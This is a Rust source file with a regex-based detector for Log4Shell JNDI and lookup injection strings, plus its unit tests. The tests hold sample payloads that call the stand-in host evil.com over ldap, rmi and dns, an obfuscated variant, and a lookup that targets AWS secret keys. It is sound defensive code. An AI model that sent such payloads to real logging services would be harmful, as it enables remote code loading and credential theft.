use std::sync::OnceLock;
use regex::RegexSet;
static LOG4SHELL_PATTERNS: OnceLock<RegexSet> = OnceLock::new();
static LOG4SHELL_DESCRIPTIONS: &[&str] = &[
"JNDI injection: ${jndi:...}",
"JNDI with obfuscation: ${${lower:j}ndi:}",
"JNDI with env lookup: ${jndi:${env:...}}",
"Log4j lookup: ${env:...} / ${sys:...} / ${java:...}",
];
fn patterns() -> &'static RegexSet {
LOG4SHELL_PATTERNS.get_or_init(|| {
RegexSet::new([
r"(?i)\$\{jndi:(ldap|ldaps|rmi|dns|iiop|corba|nds|http)s?://",
r"(?i)\$\{\$\{[^}]*\}[^}]*ndi:",
r"(?i)\$\{jndi:\$\{",
r"(?i)\$\{(env|sys|java|date|ctx|main|marker|bundle):[^}]+\}",
])
.expect("Log4Shell regex patterns must compile")
})
}
pub fn check_log4shell(input: &str) -> Option<String> {
let set = patterns();
let matches: Vec<_> = set.matches(input).into_iter().collect();
if matches.is_empty() {
None
} else {
let idx = matches[0];
Some(
LOG4SHELL_DESCRIPTIONS
.get(idx)
.unwrap_or(&"JNDI injection")
.to_string(),
)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn detects_basic_jndi() {
assert!(check_log4shell("${jndi:ldap://evil.com/a}").is_some());
assert!(check_log4shell("${jndi:rmi://evil.com/a}").is_some());
assert!(check_log4shell("${jndi:dns://evil.com}").is_some());
}
#[test]
fn detects_obfuscated_jndi() {
assert!(check_log4shell("${${lower:j}ndi:ldap://evil.com}").is_some());
}
#[test]
fn detects_nested_jndi() {
assert!(check_log4shell("${jndi:${env:USER}}").is_some());
}
#[test]
fn detects_log4j_lookups() {
assert!(check_log4shell("${env:AWS_SECRET_ACCESS_KEY}").is_some());
assert!(check_log4shell("${sys:os.name}").is_some());
assert!(check_log4shell("${java:version}").is_some());
}
#[test]
fn allows_normal_text() {
assert!(check_log4shell("Hello world").is_none());
assert!(check_log4shell("/api/users/123").is_none());
}
#[test]
fn allows_normal_dollar_brace() {
assert!(check_log4shell("${name}").is_none());
assert!(check_log4shell("Price: $100").is_none());
}
}